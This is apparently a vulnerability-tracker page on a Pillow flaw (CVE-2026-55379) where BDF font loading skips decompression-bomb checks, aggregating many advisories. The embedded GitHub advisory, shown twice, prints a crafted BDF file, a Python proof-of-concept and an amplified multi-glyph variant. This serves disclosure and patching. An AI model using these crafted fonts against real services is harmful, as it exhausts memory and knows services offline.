Every CVE Search/ Get API key

CVE-2026-55379

Pillow BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading

7.5 HighFix available

Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.52%Up 0.2 points since Jul 7, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.5

Pillow BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading

Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.

Record
CVE-2026-55379
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-789
Updated
2026-11-02
EUVDEUVD-2026-41902 7.5

Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.

Record
EUVD-2026-41902
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-45hq-cxwh-f6vc 7.5

Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading

Summary

PIL/BdfFontFile.py bdf_char() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image._decompression_bomb_check(). This completely bypasses Pillow's documented decompression bomb protection.

Image.open() enforces MAX_IMAGE_PIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls _check_size() (validates >= 0) — no pixel count limit.

Vulnerable code (PIL/BdfFontFile.py lines 84–88):

# width, height from attacker-controlled "BBX width height x y" line
try:
    im = Image.frombytes("1", (width, height), bitmap, "hex", "1")
except ValueError:
    # TRIGGERED when BITMAP section is empty (zero hex lines)
    im = Image.new("1", (width, height))   # ← NO _decompression_bomb_check()!
    # ^ This image is stored in self.glyph[ch] — persists in memory

Attack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions.

Steps to reproduce

Minimal malicious BDF file (270 bytes):

STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT placeholder
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX 20000 20000 0 0
BITMAP
ENDCHAR
ENDFONT

Proof of Concept script:

#!/usr/bin/env python3
"""PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation"""
import io, warnings
warnings.filterwarnings("ignore")

from PIL.BdfFontFile import BdfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 20000, 20000   # 400M pixels → above DecompressionBombError threshold

# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
    _decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
    print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")

# Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check
bdf = f"""STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT x
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX {W} {H} 0 0
BITMAP
ENDCHAR
ENDFONT
""".encode()

print(f"[*] BDF file size  : {len(bdf)} bytes")
print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")

BdfFontFile(io.BytesIO(bdf))   # No exception — bomb check bypassed!

print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated")
print(f"    Image.open() path would have raised DecompressionBombError")

Expected output:

[Image.open() path] BLOCKED by DecompressionBombError
[*] BDF file size  : 270 bytes
[*] Glyph size     : 20000 x 20000 = 400,000,000 pixels
[*] C-heap target  : 47 MB  (mode '1' = 1 bit/pixel)
[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated
    Image.open() path would have raised DecompressionBombError

Amplified attack (multiple glyphs):
A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection.

Impact

  • Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs
  • Confidentiality: None
  • Integrity: None
  • Any service loading BDF fonts from untrusted sources (e.g., ImageFont.load("user.bdf"), BdfFontFile(fp)) is affected
  • Loaded glyph images persist in self.glyph[ch] for the lifetime of the font object — memory is NOT…
Record
GHSA-45hq-cxwh-f6vc
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-789
Updated
2026-11-02
NVD 7.5

Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.

Record
CVE-2026-55379
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-789
Updated
2026-11-02
OSV 7.5

Pillow BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading

Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.

Record
CVE-2026-55379
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-789
Updated
2026-11-02
OSVDEBIAN-CVE-2026-55379 7.5

Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.

Record
DEBIAN-CVE-2026-55379
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
Show 35 moreShow less
OSVGHSA-45hq-cxwh-f6vc 7.5

Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading

Summary

PIL/BdfFontFile.py bdf_char() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image._decompression_bomb_check(). This completely bypasses Pillow's documented decompression bomb protection.

Image.open() enforces MAX_IMAGE_PIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls _check_size() (validates >= 0) — no pixel count limit.

Vulnerable code (PIL/BdfFontFile.py lines 84–88):

# width, height from attacker-controlled "BBX width height x y" line
try:
    im = Image.frombytes("1", (width, height), bitmap, "hex", "1")
except ValueError:
    # TRIGGERED when BITMAP section is empty (zero hex lines)
    im = Image.new("1", (width, height))   # ← NO _decompression_bomb_check()!
    # ^ This image is stored in self.glyph[ch] — persists in memory

Attack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions.

Steps to reproduce

Minimal malicious BDF file (270 bytes):

STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT placeholder
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX 20000 20000 0 0
BITMAP
ENDCHAR
ENDFONT

Proof of Concept script:

#!/usr/bin/env python3
"""PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation"""
import io, warnings
warnings.filterwarnings("ignore")

from PIL.BdfFontFile import BdfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 20000, 20000   # 400M pixels → above DecompressionBombError threshold

# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
    _decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
    print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")

# Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check
bdf = f"""STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT x
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX {W} {H} 0 0
BITMAP
ENDCHAR
ENDFONT
""".encode()

print(f"[*] BDF file size  : {len(bdf)} bytes")
print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")

BdfFontFile(io.BytesIO(bdf))   # No exception — bomb check bypassed!

print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated")
print(f"    Image.open() path would have raised DecompressionBombError")

Expected output:

[Image.open() path] BLOCKED by DecompressionBombError
[*] BDF file size  : 270 bytes
[*] Glyph size     : 20000 x 20000 = 400,000,000 pixels
[*] C-heap target  : 47 MB  (mode '1' = 1 bit/pixel)
[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated
    Image.open() path would have raised DecompressionBombError

Amplified attack (multiple glyphs):
A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection.

Impact

  • Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs
  • Confidentiality: None
  • Integrity: None
  • Any service loading BDF fonts from untrusted sources (e.g., ImageFont.load("user.bdf"), BdfFontFile(fp)) is affected
  • Loaded glyph images persist in self.glyph[ch] for the lifetime of the font object — memory is NOT…
Record
GHSA-45hq-cxwh-f6vc
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-789
Updated
2026-11-02
OSVOESA-2026-3137 8.2

python-pillow security update

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)

Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)

Pillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)

Record
OESA-2026-3137
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
Updated
2026-11-02
OSVOESA-2026-3138 8.2

python-pillow security update

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)

Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)

Pillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)

Record
OESA-2026-3138
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
Updated
2026-11-02
OSVOESA-2026-3139 7.5

python-pillow security update

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)

Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)

Pillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)

Record
OESA-2026-3139
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVOESA-2026-3140 7.5

python-pillow security update

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)

Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)

Pillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)

Record
OESA-2026-3140
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVOESA-2026-3141 7.5

python-pillow security update

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)

Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)

Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)

Pillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)

Record
OESA-2026-3141
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVPYSEC-2026-2255 7.5

Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.

Record
PYSEC-2026-2255
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:39127 7.5

Red Hat Security Advisory: python-pillow security update

Record
RHSA-2026:39127
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:48759 7.5

Red Hat Security Advisory: python-pillow security update

Record
RHSA-2026:48759
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:48760 7.5

Red Hat Security Advisory: python-pillow security update

Record
RHSA-2026:48760
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:50221 7.5

Red Hat Security Advisory: Satellite 6.19.3 Async Update

Record
RHSA-2026:50221
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:50222 7.5

Red Hat Security Advisory: Satellite 6.17.10 Async Update

Record
RHSA-2026:50222
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:50223 8.2

Red Hat Security Advisory: Satellite 6.16.12 Async Update

Record
RHSA-2026:50223
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
Updated
2026-11-02
OSVRHSA-2026:50263 7.5

Red Hat Security Advisory: Satellite 6.18.8 Async Update

Record
RHSA-2026:50263
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:50319 8.2

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update

Record
RHSA-2026:50319
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
Updated
2026-11-02
OSVRHSA-2026:50336 8.2

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update

Record
RHSA-2026:50336
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
Updated
2026-11-02
OSVRHSA-2026:52551 9.1

Red Hat Security Advisory: python-pillow security update

Record
RHSA-2026:52551
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
Updated
2026-11-02
OSVRLSA-2026:39127 7.5

Important: python-pillow security update

Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.

Security Fix(es):

  • python-pillow: Pillow: Denial of Service via crafted BDF font file (CVE-2026-55379)

  • python-pillow: Pillow: Denial of Service via crafted GD 2.x image file (CVE-2026-55380)

  • python-pillow: Pillow: Denial of Service via crafted PCF font data (CVE-2026-54059)

  • python-pillow: Pillow: Denial of Service via excessive memory allocation when processing font files (CVE-2026-54060)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
RLSA-2026:39127
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2026-55379 7.5

Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.

Record
UBUNTU-CVE-2026-55379
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-05
OSVALSA-2026:39127 No score

Important: python-pillow security update

Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.

Security Fix(es):

  • python-pillow: Pillow: Denial of Service via crafted BDF font file (CVE-2026-55379)
  • python-pillow: Pillow: Denial of Service via crafted GD 2.x image file (CVE-2026-55380)
  • python-pillow: Pillow: Denial of Service via crafted PCF font data (CVE-2026-54059)
  • python-pillow: Pillow: Denial of Service via excessive memory allocation when processing font files (CVE-2026-54060)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
ALSA-2026:39127
Updated
2026-11-02
OSVBIT-pillow-2026-55379 No score

Pillow BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading

Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.

Record
BIT-pillow-2026-55379
Updated
2026-11-02
OSVCLSA-2026-1786515922 No score

TuxCare security update for pillow (9 CVEs)

TuxCare rebuilt pillow to address 9 CVEs. Fixed in 11.2.1.post4+tuxcare.

Record
CLSA-2026-1786515922
Updated
2026-11-02
OSVCLSA-2026-1787298843 No score

TuxCare security update for pillow (5 CVEs)

TuxCare rebuilt pillow to address 5 CVEs. Fixed in 9.5.0.post3+tuxcare.

Record
CLSA-2026-1787298843
Updated
2026-11-02
OSVCLSA-2026-1787306626 No score

TuxCare security update for pillow (4 CVEs)

TuxCare rebuilt pillow to address 4 CVEs. Fixed in 9.4.0.post5+tuxcare.

Record
CLSA-2026-1787306626
Updated
2026-11-02
OSVCLSA-2026-1787309468 No score

TuxCare security update for pillow (3 CVEs)

TuxCare rebuilt pillow to address 3 CVEs. Fixed in 8.4.0.post3+tuxcare.

Record
CLSA-2026-1787309468
Updated
2026-11-02
